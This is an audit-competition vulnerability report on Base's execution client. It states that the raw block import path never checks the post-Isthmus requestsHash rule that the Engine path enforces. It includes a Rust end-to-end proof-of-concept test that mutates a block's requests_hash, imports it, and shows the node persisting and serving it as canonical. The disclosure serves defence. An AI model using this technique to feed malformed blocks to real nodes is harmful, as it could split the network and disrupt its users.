74678 bc medium missing requests hash validation in the raw import path can persist invalid post isthmus blocks and cause chain split

Submitted on Apr 24th 2026 at 07:28:38 UTC by @OxPrince for Audit Comp | Base Azul

• Report ID: #74678

• Report Type: Blockchain/DLT

• Report severity: Medium

• Target: https://github.com/base/base/releases/tag/v0.8.0-rc.15

• Impacts:

  • Unintended chain split (network partition)

Description

Brief/Intro

After Isthmus, Base requires every block header to carry requestsHash = sha256(""). The Engine/spec-facing path enforces that rule, but the raw sync/import path does not. As a result, the same malformed post-Isthmus block can be rejected by one execution path and accepted, persisted, and later served as canonical by another. This creates a real block-validity differential inside the execution client and can lead to unintended chain split if different nodes or code paths disagree on the same block.

Vulnerability Details

The local Isthmus spec is explicit:

• before Isthmus, requestsHash must be omitted

• after Isthmus, requestsHash must equal sha256("")

See exec-engine.md and exec-engine.md.

The Engine/spec-facing path follows that rule. In payload/mod.rs, non-empty execution requests are rejected and header.requests_hash is only accepted as EMPTY_REQUESTS_HASH.

The raw sync/import path does not enforce the same invariant:

• OpBeaconConsensus::validate_header validates nonce, ommers, extra-data, gas, and base fee, but never inspects requests_hash.

• validate_header_against_parent validates parent linkage, timestamp, base fee, and blob fields, but not requests_hash.

• validate_block_post_execution validates receipts, gas usage, and Jovian blob gas, but never compares executed requests to the header hash.

I first confirmed the acceptance gap with a focused regression test at lib.rs, test_isthmus_sync_validation_accepts_non_empty_requests_hash, which proves a post-Isthmus block with an arbitrary non-empty requests_hash still passes all sync-facing consensus checks.

I then upgraded the proof to an end-to-end import/boot PoC see below

PoC does the following:

1. Launches a real local Base execution node with an Isthmus-active chain spec.

2. Mines a valid post-Isthmus block and confirms it carries the correct empty requests_hash.

3. Mutates only header.requests_hash to 0x1111...1111 in import.rs.

4. Confirms the Engine/spec-facing path rejects that same malformed block via BasePayloadError::NonEmptyELRequests in import.rs.

5. Writes the malformed block to raw RLP and feeds it into the real historical import path via import_blocks_from_file(...) in import.rs.

6. Verifies the import path accepts and persists the malformed block in import.rs.

7. Reboots a fresh node from the imported datadir and verifies the malformed header is served as canonical in import.rs.

Impact Details

This proves the issue is not just a missing assertion in isolation. A malformed post-Isthmus block is rejected on one execution path but accepted, persisted, and later re-served as canonical on another.

Why this fits:

• Post-Isthmus block validity depends on whether a node/path enforces requestsHash == sha256("").

• The Engine/spec-facing path rejects the malformed block, while the raw import path accepts it.

• The e2e PoC proves that acceptance is durable: the malformed block is persisted and a rebooted node serves it as canonical state.

Once different nodes or execution paths disagree on whether the same block is valid, they can follow different histories. Because this is a rule disagreement rather than a temporary networking issue, recovery can require coordinated operator action, rollback, or hard-fork-style reconciliation.

This is stronger than a mere informational inconsistency because:

• it affects a real sync/import path

• it changes canonical state

• it survives restart

• it can create incompatible views of the chain

References

• Isthmus header validity rules: exec-engine.md

• Isthmus block sealing rule that requestsHash is always sha256(""): exec-engine.md

• Engine/spec-facing enforcement: payload/mod.rs

• Missing sync/import validation in header checks: lib.rs

• Missing sync/import validation against parent: lib.rs

• Missing post-execution validation: validation/mod.rs

• Focused regression proof: lib.rs

Proof of Concept

//! End-to-end import tests for the execution node.

use std::{fs::File, io::Write, sync::Arc, time::Duration};

use alloy_eips::eip7685::EMPTY_REQUESTS_HASH;
use alloy_genesis::Genesis;
use alloy_primitives::{B64, B256};
use base_common_consensus::HoloceneExtraData;
use base_common_rpc_types_engine::{BasePayloadError, ExecutionData};
use base_execution_chainspec::{BASE_MAINNET, BaseChainSpec, BaseChainSpecBuilder};
use base_execution_consensus::OpBeaconConsensus;
use base_execution_evm::BaseExecutorProvider;
use base_execution_payload_builder::OpPayloadBuilderAttributes;
use base_node_core::{BaseNode, utils::optimism_payload_attributes};
use reth_chainspec::BaseFeeParams;
use reth_cli_commands::import_core::{ImportConfig, import_blocks_from_file};
use reth_config::Config;
use reth_db::{DatabaseEnv, init_db, test_utils::create_test_rw_db_with_path};
use reth_db_common::init::init_genesis;
use reth_e2e_test_utils::{
    node::NodeTestContext, transaction::TransactionTestContext, wallet::Wallet,
};
use reth_node_api::NodeTypesWithDBAdapter;
use reth_node_builder::{EngineNodeLauncher, Node, NodeBuilder, NodeHandle};
use reth_node_core::args::{DatabaseArgs, DatadirArgs};
use reth_provider::{
    DatabaseProviderFactory, HeaderProvider,
    providers::{BlockchainProvider, ProviderFactory, RocksDBProvider, StaticFileProvider},
};
use reth_primitives_traits::Block;
use reth_tasks::Runtime;
use tokio::sync::Mutex;

fn isthmus_chain_spec() -> Arc<BaseChainSpec> {
    let mut genesis: Genesis = serde_json::from_str(include_str!("../assets/genesis.json")).unwrap();
    genesis.extra_data =
        HoloceneExtraData::encode(B64::ZERO, BaseFeeParams::optimism_canyon()).unwrap().into();
    let mut chain_spec = BaseChainSpecBuilder::default()
        .chain(BASE_MAINNET.chain)
        .genesis(genesis)
        .isthmus_activated()
        .build();
    chain_spec.inner.base_fee_params = BASE_MAINNET.base_fee_params.clone();
    Arc::new(chain_spec)
}

fn isthmus_payload_attributes<T>(timestamp: u64) -> OpPayloadBuilderAttributes<T> {
    let mut attrs = optimism_payload_attributes(timestamp);
    attrs.eip_1559_params = Some(B64::ZERO);
    attrs
}

#[tokio::test]
async fn test_isthmus_import_accepts_non_empty_requests_hash_and_boots_node() -> eyre::Result<()> {
    reth_tracing::init_test_tracing();

    let chain_spec = isthmus_chain_spec();
    let malformed_block = {
        let mut config = reth_node_builder::NodeConfig::new(Arc::clone(&chain_spec))
            .with_unused_ports()
            .with_disabled_discovery()
            .with_datadir_args(DatadirArgs {
                datadir: reth_db::test_utils::tempdir_path().into(),
                ..Default::default()
            });
        config.network.discovery.discv5_port = 0;
        config.network.discovery.discv5_port_ipv6 = 0;
        let db = create_test_rw_db_with_path(
            config
                .datadir
                .datadir
                .unwrap_or_chain_default(config.chain.chain(), config.datadir.clone())
                .db(),
        );
        let runtime = Runtime::test();
        let node_handle = NodeBuilder::new(config.clone())
            .with_database(db)
            .with_types_and_provider::<BaseNode, BlockchainProvider<_>>()
            .with_components(BaseNode::default().components())
            .with_add_ons(BaseNode::new(Default::default()).add_ons())
            .launch_with_fn(|builder| {
                let launcher = EngineNodeLauncher::new(
                    runtime.clone(),
                    builder.config.datadir(),
                    Default::default(),
                );
                builder.launch_with(launcher)
            })
            .await?;

        let mut node = NodeTestContext::new(node_handle.node, isthmus_payload_attributes).await?;
        let wallet = Arc::new(Mutex::new(Wallet::default().with_chain_id(chain_spec.chain().into())));

        let mut payloads = node
            .advance(1, |_| {
                Box::pin({
                    let wallet = Arc::clone(&wallet);
                    async move {
                        let mut wallet = wallet.lock().await;
                        let tx_fut = TransactionTestContext::optimism_l1_block_info_tx(
                            wallet.chain_id,
                            wallet.inner.clone(),
                            wallet.inner_nonce,
                        );
                        wallet.inner_nonce += 1;
                        tx_fut.await
                    }
                })
            })
            .await?;

        let valid_block = payloads.pop().expect("expected one mined block").block().clone();
        assert_eq!(
            valid_block.header().requests_hash,
            Some(EMPTY_REQUESTS_HASH),
            "source node should produce a valid Isthmus block before mutation"
        );

        let mut malformed_block = valid_block.unseal();
        malformed_block.header.requests_hash = Some(B256::repeat_byte(0x11));
        Block::seal_slow(malformed_block)
    };

    let execution_data = ExecutionData::from_block_slow(&malformed_block.clone().unseal());
    assert!(
        matches!(
            execution_data
                .payload
                .clone()
                .into_block_with_sidecar_raw(&execution_data.sidecar),
            Err(BasePayloadError::NonEmptyELRequests)
        ),
        "Engine/spec-facing payload decoding should reject the same malformed requests_hash"
    );

    let rlp_path = reth_db::test_utils::tempdir_path().join("isthmus_bad_requests_hash.rlp");
    let mut rlp_file = File::create(&rlp_path)?;
    let encoded = alloy_rlp::encode(malformed_block.clone().unseal());
    rlp_file.write_all(&encoded)?;
    rlp_file.flush()?;

    let datadir = reth_db::test_utils::tempdir_path();
    let db_path = datadir.join("db");
    let static_files_path = datadir.join("static_files");
    let rocksdb_dir_path = datadir.join("rocksdb");

    let db_args = DatabaseArgs::default().database_args();
    let db = init_db(&db_path, db_args)?;
    let provider_factory: ProviderFactory<NodeTypesWithDBAdapter<BaseNode, DatabaseEnv>> =
        ProviderFactory::new(
            db.clone(),
            Arc::clone(&chain_spec),
            StaticFileProvider::read_write(static_files_path.clone())?,
            RocksDBProvider::builder(rocksdb_dir_path.clone())
                .with_default_tables()
                .build()
                .expect("failed to create RocksDB provider"),
            Runtime::test(),
        )?;

    init_genesis(&provider_factory)?;

    let import_result = import_blocks_from_file(
        &rlp_path,
        ImportConfig::default(),
        provider_factory.clone(),
        &Config::default(),
        BaseExecutorProvider::optimism(Arc::clone(&chain_spec)),
        Arc::new(OpBeaconConsensus::new(Arc::clone(&chain_spec))),
    )
    .await?;

    assert_eq!(
        import_result.total_imported_blocks, 1,
        "historical import should ingest the malformed post-Isthmus block"
    );
    assert!(
        !import_result.stopped_on_invalid_block,
        "current import path should not recognize the malformed requests_hash as invalid"
    );

    let imported_header = provider_factory
        .database_provider_ro()?
        .header_by_number(1)?
        .expect("imported block should be present");
    assert_eq!(
        imported_header.requests_hash,
        Some(B256::repeat_byte(0x11)),
        "imported canonical header should preserve the malformed non-empty requests_hash"
    );

    drop(provider_factory);
    drop(db);
    tokio::time::sleep(Duration::from_millis(100)).await;

    let mut node_config = reth_node_builder::NodeConfig::new(Arc::clone(&chain_spec))
        .with_unused_ports()
        .with_disabled_discovery()
        .with_datadir_args(DatadirArgs { datadir: datadir.clone().into(), ..Default::default() });
    node_config.network.discovery.discv5_port = 0;
    node_config.network.discovery.discv5_port_ipv6 = 0;
    let runtime = Runtime::test();
    let NodeHandle { node, node_exit_future: _ } = NodeBuilder::new(node_config.clone())
        .testing_node_with_datadir(runtime.clone(), datadir.clone())
        .with_types_and_provider::<BaseNode, BlockchainProvider<_>>()
        .with_components(BaseNode::default().components())
        .with_add_ons(BaseNode::new(Default::default()).add_ons())
        .launch_with_fn(|builder| {
            let launcher =
                EngineNodeLauncher::new(runtime.clone(), builder.config().datadir(), Default::default());
            builder.launch_with(launcher)
        })
        .await?;

    let booted_header = node
        .provider
        .header_by_number(1)?
        .expect("restarted node should expose imported malformed tip");
    assert_eq!(booted_header.hash_slow(), malformed_block.hash());
    assert_eq!(booted_header.requests_hash, Some(B256::repeat_byte(0x11)));

    Ok(())
}